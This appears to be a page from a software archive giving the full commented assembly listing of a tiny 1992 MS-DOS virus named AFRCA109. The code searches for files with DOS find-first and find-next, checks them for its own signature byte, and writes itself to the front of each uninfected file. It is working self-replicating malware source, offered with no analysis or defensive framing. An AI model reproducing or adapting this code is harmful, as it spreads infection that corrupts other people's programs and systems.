home *** CD-ROM | disk | FTP | other *** search
-
- PAGE 59,132
-
- ;██████████████████████████████████████████████████████████████████████████
- ;██ ██
- ;██ AFRCA109 ██
- ;██ ██
- ;██ Created: 16-Sep-92 ██
- ;██ Passes: 5 Analysis Options on: AW ██
- ;██ ██
- ;██████████████████████████████████████████████████████████████████████████
-
- data_2e equ 4F43h
- data_3e equ 0FE00h
-
- seg_a segment byte public
- assume cs:seg_a, ds:seg_a
-
-
- org 100h
-
- afrca109 proc far
-
- start:
- mov si,100h
- push si
- mov ax,cs
- add ah,10h
- mov es,ax
- xor di,di ; Zero register
- mov cx,6Dh
- rep movsb ; Rep when cx >0 Mov [si] to es:[di]
- mov dx,data_3e
- mov ah,1Ah
- int 21h ; DOS Services ah=function 1Ah
- ; set DTA(disk xfer area) ds:dx
- mov dx,167h
- mov ah,4Eh ; 'N'
- jmp short loc_2
- loc_1:
- mov ah,3Eh ; '>'
- int 21h ; DOS Services ah=function 3Eh
- ; close file, bx=file handle
- mov ah,4Fh ; 'O'
- loc_2:
- push cs
- pop ds
- int 21h ; DOS Services ah=function 4Fh
- ; find next filename match
- mov cx,0FE1Eh
- jc loc_3 ; Jump if carry Set
- mov dx,cx
- mov ax,3D02h
- int 21h ; DOS Services ah=function 3Dh
- ; open file, al=mode,name@ds:dx
- xchg ax,bx
- push es
- pop ds
- mov dx,di
- mov ah,3Fh ; '?'
- int 21h ; DOS Services ah=function 3Fh
- ; read file, bx=file handle
- ; cx=bytes to ds:dx buffer
- add ax,6Dh
- cmp byte ptr [di],0BEh
- je loc_1 ; Jump if equal
- push ax
- xor cx,cx ; Zero register
- mov ax,4200h
- cwd ; Word to double word
- int 21h ; DOS Services ah=function 42h
- ; move file ptr, bx=file handle
- ; al=method, cx,dx=offset
- pop cx
- mov ah,40h ; '@'
- int 21h ; DOS Services ah=function 40h
- ; write file bx=file handle
- ; cx=bytes from ds:dx buffer
- jmp short loc_1
- loc_3:
- push cs
- pop es
- mov bl,0FCh
- mov word ptr [bx],0AAACh
- mov word ptr [bx+2],0FCE2h
- pop di
- push bx
- retn
- sub ch,ds:data_2e
- dec bp
- add bl,al
-
- afrca109 endp
-
- seg_a ends
-
-
-
- end start
-